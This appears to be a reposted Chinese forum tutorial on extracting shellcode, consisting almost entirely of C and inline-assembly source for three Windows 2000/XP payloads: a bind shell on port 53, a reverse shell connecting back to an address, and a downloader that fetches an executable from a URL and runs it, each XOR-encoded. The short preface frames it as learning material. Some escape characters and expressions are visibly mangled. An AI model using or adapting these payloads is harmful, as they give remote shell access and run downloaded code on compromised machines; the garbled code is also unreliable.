一种提取shellcode的方法
看到论坛里有网友问如何编写shellcode,虽然安全文摘里有不少关于shellcode的文章,但是都是一些现成的代码,很少有详细的讲解如何提取shellcode的文章,前几日听eyas说cnhonker有一些这方面的文章,就转过来了,算是给和我一样的初学者的一些资料吧,单步跟踪一下,会清楚很多。(提取出来的shellcode为eyas以前写过的)
作者:[email protected]
bind port shellcode for win2k/xp
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
void printsc(unsigned char *sc, int len);
unsigned char sc[0x1000];
unsigned char buff[]=
"GetProcAddressx0"
// ----- 3 -----
"CreateProcessAx0" // [edi-0x20]
"ExitThreadx0" // [edi-0x1c]
// "ExitProcessx0" // [edi-0x1c]
"LoadLibraryAx0" // [edi-0x18]
// -------------
"ws2_32x0"
// ----- 5 -----
"WSASocketAx0" // [edi-0x14]
"bindx0" // [edi-0x10]
"listenx0" // [edi-0x0c]
"acceptx0" // [edi-0x08]
"closesocketx0"; // [edi-0x04]
DWORD addr;
void shellcode();
void main()
{
unsigned char temp;
unsigned char *shellcodefnadd, *start;
int k;
char *fnendstr = "x90x90x90x90x90x90x90x90x90";
#define FNENDLONG 0x08
WSADATA wsa;
int all, i;
//int port = 53;
WSAStartup(MAKEWORD(2,2),&wsa);
memset(sc, 0, sizeof(sc));
// 定位shellcodefnlock的汇编代码
shellcodefnadd = (unsigned char *)shellcode;
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
// 定位shellcode的起始地址
for(k=0; k <= 0x500; ++k)
{
if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
}
// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
start = shellcodefnadd+k+8;
// 定位 shellcode 长度
for(k=0; k <= 0x500; ++k)
{
if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
}
//printf("%xn", htons(port));
all = k + sizeof(buff) - 1;
printf("%d + %d = %dn", k, sizeof(buff), all);
memcpy(sc, start, k);
memcpy(&sc[k],buff, sizeof(buff));
addr = (DWORD)≻
for(k=0; k <= all-3; ++k)
{
if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);
if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);
}
k = all - 23;
memcpy(sc+8, &k, 2);
// ================== print ======================
// decode 长度为23字节
printsc (sc, 23);
// xor
for(i=23; i < all; i++)
{
sc ^= 0x99;
}
printsc(sc+23, k);
__asm
{
jmp addr
}
// shellcode();
Sleep(10000);
return;
}
void printsc(unsigned char *sc, int len)
{
int l;
// 打印 普通shellcode
for(l = 0; l < len; l++)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");
printf("\\x%.2X", sc[l]);
if(l == len-1) printf(""");
}
printf("nn");
/*
// 打印 iis unicode shellcode
for(l = 0; l < len; l += 2)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");
printf("%%u%.2X%.2X", sc[l+1], sc[l]);
if(l == len-2) printf(""");
}
*/
}
void shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
__asm
{
/* --------------------解码开始---------------------- */
jmp decode_end
decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x17D // shellcode 长度 0x175+1 = 0x176 = 373 bytes
decode_loop:
xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
/* --------------------解码结束---------------------- */
jmp end
start:
pop edx // 指令表起始地址存放在 esp -> edx
// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]
// ========== 定位GetProcAddress的地址 ==========
//
// 输入:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
//
// 输出:
// ebx => kernel32.dll起始地址
// eax => GetProcAddress地址
// edx => 指令表起始地址
mov ebx,eax // 取kernel32.dll的起始地址
mov esi,dword ptr [ebx+0x3C]
mov esi,dword ptr [esi+ebx+0x78]
add esi,ebx
mov edi,dword ptr [esi+0x20]
add edi,ebx
mov ecx,dword ptr [esi+0x14]
xor ebp,ebp
push esi
search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // 把输出函数名表起始地址存人edi
mov esi,edx // 指令表起始地址存入esi
//mov ecx,0Eh // 函数getprocAddress长度为0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok
pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress
search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx,ebp
mov eax,dword ptr [esi+24h]
add eax,ebx
shl ecx,1
add eax,ecx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+1Ch]
add eax,ebx
shl ecx,2
add eax,ecx
mov eax,dword ptr [eax]
add eax,ebx
// ============ 调用函数解决api地址 ============
//
// 输入:
// ebx =>kernel32.dll起始地址
// eax =>GetProcAddress地址
// edx =>指令表起始地址
//
// 输出:
// edi =>函数地址base addr
// esi =>指令表当前位置
// edx =>GetProcAddress 地址
mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"
// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
push 3 // 需要解决的函数地址的个数 硬编码可以节省两个字节
pop ecx
call locator_api_addr
// ============ 加载ws2_32.dll ============
//locator_ws2_32:
add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度,硬编码可以节省两个字节
push edx // edx是GetProcAddress 地址
push esi // 字符"ws2_32"地址
call dword ptr [edi-4] // LoadLibraryA
// ============ 解决ws2_32中的函数地址 ============
pop edx
mov ebx,eax // 将ws2_32.dll起始地址存放在ebx
//mov ecx,4
push 5 // 函数个数
pop ecx // 函数个数 <-这种方式省两个字节
call locator_api_addr
// ============ create socket ============
push eax
push eax
push eax
push eax // IPPROTO_IP 0
push 1 // SOCK_STREAM
push 2 // AF_INET
call dword ptr [edi-0x14] // WSASocketA
mov ebx,eax // socket保存在ebx
// ============ 填充sockaddr_in结构 ============
mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53
xor eax, eax
mov dword ptr [edi+4], eax // ADDR_ANY
// ============ bind ============
push 0x10 // sizeof(sockaddr_in)
push edi // sockaddr_in address
push ebx // socket
call dword ptr [edi-0x10] // bind(socket, &address, sizof(address));
// ============ listen ============
push 0x1 // 1
push ebx // socket
call dword ptr [edi-0xc] // listen(socket, 1);
// ============ accept ============
push eax // 0
push eax // 0
push ebx // socket
call dword ptr [edi-0x8] // accept(socket, &address, sizeof(address));
mov edx,eax
// ============ ============
sub esp,0x44
mov esi,esp // 取si的起始地址
xor eax, eax
push 0x10 // 0x11 * 4 = 0x44 bytes
pop ecx
zero_si:
mov dword ptr [esi+ecx*4],eax
loop zero_si
// ============ fill si struct,si存放在stack中 ============
mov dword ptr [esi+0x38],edx // si.hStdInput soskcet
mov dword ptr [esi+0x3C],edx // hStdOutput soscket
mov dword ptr [esi+0x40],edx // hStdError socket
//mov word ptr [esi+0x30],0 // wShowWindow
mov word ptr [esi+0x2c],0x101 // dwFlags
// ============ CreateProcessA ============
lea eax, dword ptr [edi+0x10]
push eax // pi
push esi // si
xor ecx, ecx
push ecx // lpCurrentDirectory
push ecx // lpEnvironment
push ecx // dwCreationFlags
push 1 // bInheritHandles
push ecx // lpThreadAttributes
push ecx // lpProcessAttributes
mov dword ptr [edi+0x3C], 0x00646D63// 0x63='c' 0x6d='m' 0x64='d'
lea eax, dword ptr [edi+0x3C]
push eax // lpCommandLine
push ecx // lpApplicationName NULL
call dword ptr [edi-0x20] // CreateProcessA
// ============ If no error occurs, connect returns zero. ===========
// closesocket
push edx
call dword ptr [edi-0x4]
// closesocket
push ebx
call dword ptr [edi-0x4]
// ExitProcess
push eax
call dword ptr [edi-0x1c] // ExitProcess
// ============ 解决api地址的函数 ============
//
// 输入参数:
// ecx 函数个数
// edx GetProcAddress 地址
// ebx 输出函数的dll起始地址
// esi 函数名表起始地址
// edi 保存函数地址的起始地址
locator_api_addr:
locator_space:
xor eax, eax
lodsb
test eax, eax // 寻找函数名之间的空格x00
jne locator_space
push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax, eax
ret
// ================== 结束调用 ====================
end:
call start
}
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
return;
}
connect back shellcode for win2k/xp
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
void printsc(unsigned char *sc, int len);
unsigned char sc[0x1000];
unsigned char buff[]=
"GetProcAddressx0"
// ----- 3 -----
"CreateProcessAx0" // [edi-0x18]
"ExitThreadx0" // [edi-0x14]
// "ExitProcessx0" // [edi-0x14]
"LoadLibraryAx0" // [edi-0x10]
// -------------
"ws2_32x0"
// ----- 3 -----
"WSASocketAx0" // [edi-0x0c]
"connectx0" // [edi-0x08]
"closesocketx0"; // [edi-0x04]
DWORD addr;
void shellcode();
void main()
{
unsigned char temp;
unsigned char *shellcodefnadd, *start;
int k;
char *fnendstr = "x90x90x90x90x90x90x90x90x90";
#define FNENDLONG 0x08
WSADATA wsa;
int all, i;
WSAStartup(MAKEWORD(2,2),&wsa);
memset(sc, 0, sizeof(sc));
// 定位shellcodefnlock的汇编代码
shellcodefnadd = shellcode;
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
// 定位shellcode的起始地址
for(k=0; k <= 0x500; ++k)
{
if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
}
// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
start = shellcodefnadd+k+8;
// 定位 shellcode 长度
for(k=0; k <= 0x500; ++k)
{
if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
}
//printf("%xn", htons(port));
all = k + sizeof(buff) - 1;
printf("%d + %d = %dn", k, sizeof(buff), all);
memcpy(sc, start, k);
memcpy(&sc[k],buff, sizeof(buff));
addr = (DWORD)≻
for(k=0; k <= all-3; ++k)
{
if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);
if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);
}
k = all - 23;
memcpy(sc+8, &k, 2);
// ================== print ======================
// decode 长度为23字节
printsc (sc, 23);
// xor
for(i=23; i < all; i++)
{
sc ^= 0x99;
}
printsc(sc+23, k);
__asm
{
jmp addr
}
return;
}
void printsc(unsigned char *sc, int len)
{
int l;
// 打印 普通shellcode
for(l = 0; l < len; l++)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");
printf("\\x%.2X", sc[l]);
if(l == len-1) printf(""");
}
printf("nn");
/*
// 打印 iis unicode shellcode
for(l = 0; l < len; l += 2)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");
printf("%%u%.2X%.2X", sc[l+1], sc[l]);
if(l == len-2) printf(""");
}
*/
}
void shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
__asm
{
/* --------------------解码开始---------------------- */
jmp decode_end
decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x15D // 要解码shellcode长度
decode_loop:
xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
/* --------------------解码结束---------------------- */
jmp end
start:
pop edx // 指令表起始地址存放在 esp -> edx
// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]
// ========== 定位GetProcAddress的地址 ==========
//
// 输入:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
//
// 输出:
// ebx => kernel32.dll起始地址
// eax => GetProcAddress地址
// edx => 指令表起始地址
mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address
mov esi,dword ptr [ebx+3Ch] // esi = PE header offset
mov esi,dword ptr [esi+ebx+78h]
add esi,ebx // esi = exports directory table
mov edi,dword ptr [esi+20h]
add edi,ebx // edi = name pointers table
mov ecx,dword ptr [esi+14h] // ecx = number of name pointers
xor ebp,ebp
push esi
search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // 把输出函数名表起始地址存人edi
mov esi,edx // 指令表起始地址存入esi
//mov ecx,0Eh // 函数getprocAddress长度为0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok
pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress
search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx,ebp
mov eax,dword ptr [esi+24h]
add eax,ebx
shl ecx,1
add eax,ecx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+1Ch]
add eax,ebx
shl ecx,2
add eax,ecx
mov eax,dword ptr [eax]
add eax,ebx
// ============ 调用函数解决api地址 ============
//
// 输入:
// ebx =>kernel32.dll起始地址
// eax =>GetProcAddress地址
// edx =>指令表起始地址
//
// 输出:
// edi =>函数地址base addr
// esi =>指令表当前位置
// edx =>GetProcAddress 地址
mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"
// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
//mov ecx,0x5 // 需要解决的函数地址的个数
push 0x3
pop ecx
call locator_api_addr
// ============ 加载ws2_32.dll ============
//locator_ws2_32:
//xor eax,eax // locator_api_addr返回后eax为0
//lods //
//test eax,eax // ->定位字符串"ws2_32"的起始地址
//jne locator_ws2_32 //
add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度,
// 硬编码可以节省两个字节
push edx // edx是GetProcAddress 地址
push esi // 字符"ws2_32"地址
call dword ptr [edi-4] // LoadLibraryA
// ============ 解决ws2_32中的函数地址 ============
pop edx
mov ebx,eax // 将ws2_32.dll起始地址存放在ebx
//mov ecx,4 // 函数个数
push 3
pop ecx // 函数个数 <-这种方式省两个字节
call locator_api_addr
// ============ ============
//xor eax,eax // locator_api_addr返回后eax为0
//init si
sub esp,0x44
mov esi,esp // 取si的起始地址
push 0x10 // 0x11 * 4 = 0x44 bytes
pop ecx
zero_si:
mov dword ptr [esi+ecx*4],eax
loop zero_si
// ============ create socket ============
push eax
push eax
push eax
push eax // IPPROTO_IP 0
push 1 // SOCK_STREAM
push 2 // AF_INET
call dword ptr [edi-0xc] // WSASocket
mov ebx,eax // socket保存在ebx
// ============ fill si struct,si存放在stack中 ============
mov dword ptr [esi+0x38],ebx // si.hStdInput soskcet
mov dword ptr [esi+0x3C],ebx // hStdOutput soscket
mov dword ptr [esi+0x40],ebx // hStdError socket
//mov word ptr [esi+0x30],0 // wShowWindow
mov word ptr [esi+0x2c],0x101 // dwFlags
// ============ CreateProcessA ============
lea eax,[edi+0x10]
push eax // pi
push esi // si
xor eax,eax
push eax // lpCurrentDirectory
push eax // lpEnvironment
push eax // dwCreationFlags
push 1 // bInheritHandles
push eax // lpThreadAttributes
push eax // lpProcessAttributes
lea edx,[edi+0x3c]
mov dword ptr [edx], 0x00646D63 // 0x63='c' 0x6d='m' 0x64='d'
push edx // lpCommandLine
push eax // lpApplicationName NULL
call dword ptr [edi-0x18] // CreateProcessA
// ============ 填充sockaddr_in结构 ============
mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53
mov dword ptr [edi+0x4],0x0100007F // ip addr,default is 127.0.0.1
// ============ connect back ============
push 0x10 // sizeof(sockaddr_in)
//lea eax,[edi]
//push eax // sockaddr_in address
push edi // sockaddr_in address
push ebx // socket
call dword ptr [edi-0x8] // connect
// ============ If no error occurs, connect returns zero. ============
// closesocket
push ebx
call dword ptr [edi-0x4]
// ExitProcess
push eax
call dword ptr [edi-0x14] // ExitProcess
// ============ 解决api地址的函数 ============
//
// 输入参数:
// ecx 函数个数
// edx GetProcAddress 地址
// ebx 输出函数的dll起始地址
// esi 函数名表起始地址
// edi 保存函数地址的起始地址
locator_api_addr:
locator_space:
xor eax,eax
lodsb
test eax,eax // 寻找函数名之间的空格x00
jne locator_space
push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax,eax
ret
// ================== 结束调用 ====================
end:
call start
}
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
return;
}
download url file shellcode for win2k/xp
#include <windows.h>
#include <stdio.h>
void printsc(unsigned char *sc, int len);
unsigned char sc[0x1000];
unsigned char buff[]=
"GetProcAddressx0"
// ----- 4 -----
"GetSystemDirectoryAx0" // [edi-0x14]
"WinExecx0" // [edi-0x10]
"ExitThreadx0" // [edi-0x0c]
// "ExitProcessx0" // [edi-0x0c]
"LoadLibraryAx0" // [edi-0x08]
// -------------
"urlmonx0"
// ----- 1 -----
"URLDownloadToFileAx0"; // [edi-0x04]
unsigned char url[]=
"http://127.0.0.1/test.exex80"; // 要下载的文件url地址
DWORD addr;
void shellcode();
void main()
{
unsigned char temp;
unsigned char *shellcodefnadd, *start;
int k;
char *fnendstr = "x90x90x90x90x90x90x90x90x90";
#define FNENDLONG 0x08
int all, i;
memset(sc, 0, sizeof(sc));
// 定位shellcodefnlock的汇编代码
shellcodefnadd = shellcode;
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
// 定位shellcode的起始地址
for(k=0; k <= 0x500; ++k)
{
if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
}
// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
start = shellcodefnadd+k+8;
// 定位 shellcode 长度
for(k=0; k <= 0x500; ++k)
{
if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
}
// printf("%xn", htons(port));
all = k + sizeof(buff)-1 + sizeof(url);
printf("%d + %d + %d = %dn", k, sizeof(buff)-1, sizeof(url), all);
i = k-23+sizeof(buff)-1;
printf("解包大小: %d + %d = %d = %Xn", k-23, sizeof(buff-1), i, i);
memcpy(sc, start, k);
memcpy(&sc[k], buff, sizeof(buff)-1);
memcpy(&sc[k+sizeof(buff)-1], url, sizeof(url));
addr = (DWORD)≻
memcpy(sc+8, &i, 2);
// ================== print ======================
// decode 长度为23字节
printsc (sc, 23);
// xor
for(i=23; i < k+sizeof(buff)-1; i++)
{
sc ^= 0x99;
}
printsc(sc+23, k-23);
printsc(sc+k, sizeof(buff)-1);
printsc(sc+k+sizeof(buff)-1, sizeof(url));
// printsc(sc, k);
// printsc(buff, sizeof(buff)-1);
// printsc(url, sizeof(url));
// printf("n%sn", url);
__asm
{
jmp addr
}
return;
}
void printsc(unsigned char *sc, int len)
{
int l;
// 打印 普通shellcode
for(l = 0; l < len; l++)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");
printf("\\x%.2X", sc[l]);
if(l == len-1) printf(""");
}
printf("nn");
/*
// 打印 iis unicode shellcode
for(l = 0; l < len; l += 2)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");
printf("%%u%.2X%.2X", sc[l+1], sc[l]);
if(l == len-2) printf(""");
}
*/
}
void shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
__asm
{
/* --------------------解码开始---------------------- */
jmp decode_end
decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x13D // 要解码的长度
decode_loop:
xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
/* --------------------解码结束---------------------- */
jmp end
start:
pop edx // 指令表起始地址存放在 esp -> edx
// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]
// ========== 定位GetProcAddress的地址 ==========
//
// 输入:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
//
// 输出:
// ebx => kernel32.dll起始地址
// eax => GetProcAddress地址
// edx => 指令表起始地址
mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address
mov esi,dword ptr [ebx+3Ch] // esi = PE header offset
mov esi,dword ptr [esi+ebx+78h]
add esi,ebx // esi = exports directory table
mov edi,dword ptr [esi+20h]
add edi,ebx // edi = name pointers table
mov ecx,dword ptr [esi+14h] // ecx = number of name pointers
xor ebp,ebp
push esi
search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // 把输出函数名表起始地址存人edi
mov esi,edx // 指令表起始地址存入esi
//mov ecx,0Eh // 函数getprocAddress长度为0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok
pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress
search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx,ebp
mov eax,dword ptr [esi+0x24]
add eax,ebx
shl ecx,1
add eax,ecx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+0x1C]
add eax,ebx
shl ecx,2
add eax,ecx
mov eax,dword ptr [eax]
add eax,ebx
// ============ 调用函数解决api地址 ============
//
// 输入:
// ebx =>kernel32.dll起始地址
// eax =>GetProcAddress地址
// edx =>指令表起始地址
//
// 输出:
// edi =>函数地址base addr
// esi =>指令表当前位置
// edx =>GetProcAddress 地址
mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"
// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
//mov ecx,0x5 // 需要解决的函数地址的个数
push 0x4
pop ecx
call locator_api_addr
// ============ 加载urlmon.dll ============
//locator_urlmon:
//xor eax,eax // locator_api_addr返回后eax为0
//lods //
//test eax,eax // ->定位字符串"urlmon"的起始地址
//jne locator_urlmon //
add esi,0xd // 0xd即"urlmon"前面那个字符串的长度,
// 硬编码可以节省两个字节
push edx // edx是GetProcAddress 地址
push esi // 字符"urlmon"地址
call dword ptr [edi-4] // LoadLibraryA
// ============ 解决urlmon中的函数地址 ============
pop edx
mov ebx,eax // 将urlmon.dll起始地址存放在ebx
//mov ecx,1 // 函数个数
push 0x1
pop ecx // 函数个数 <-这种方式省两个字节
call locator_api_addr
// ============ 取得url起始地址 ============
add esi, 0x13 // URLDownloadToFileA 的长度为0x13
push esi
searchurl:
inc esi
cmp byte ptr [esi], 0x80
jne searchurl
xor byte ptr [esi], 0x80 // 把0x80 改成 0x00 结束字符串
pop esi // 取得url 的起始地址
// 取得一些空间存放系统路径
sub esp, 0x20
mov ebx, esp
// 调用GetSystemDirectoryA获得系统路径
push 0x20
push ebx
call [edi-0x14]
// eax 为系统路径的长度
// 调用URLDownloadToFileA下载文件并保存成a.exe
mov dword ptr [ebx+eax], 0x652E615C // "a.e"
mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"
xor eax, eax // 清0
push eax
push eax
push ebx
push esi
push eax
call [edi-0x4]
// 调用WinExec执行文件
mov ebx, esp
push eax
push ebx
call [edi-0x10]
// ExitpProcess
push eax
call dword ptr [edi-0x0c] // ExitProcess
// ============ 解决api地址的函数 ============
//
// 输入参数:
// ecx 函数个数
// edx GetProcAddress 地址
// ebx 输出函数的dll起始地址
// esi 函数名表起始地址
// edi 保存函数地址的起始地址
locator_api_addr:
locator_space:
xor eax,eax
lodsb
test eax,eax // 寻找函数名之间的空格x00
jne locator_space
push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax,eax
ret
// ================== 结束调用 ====================
end:
call start
}
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
return;
}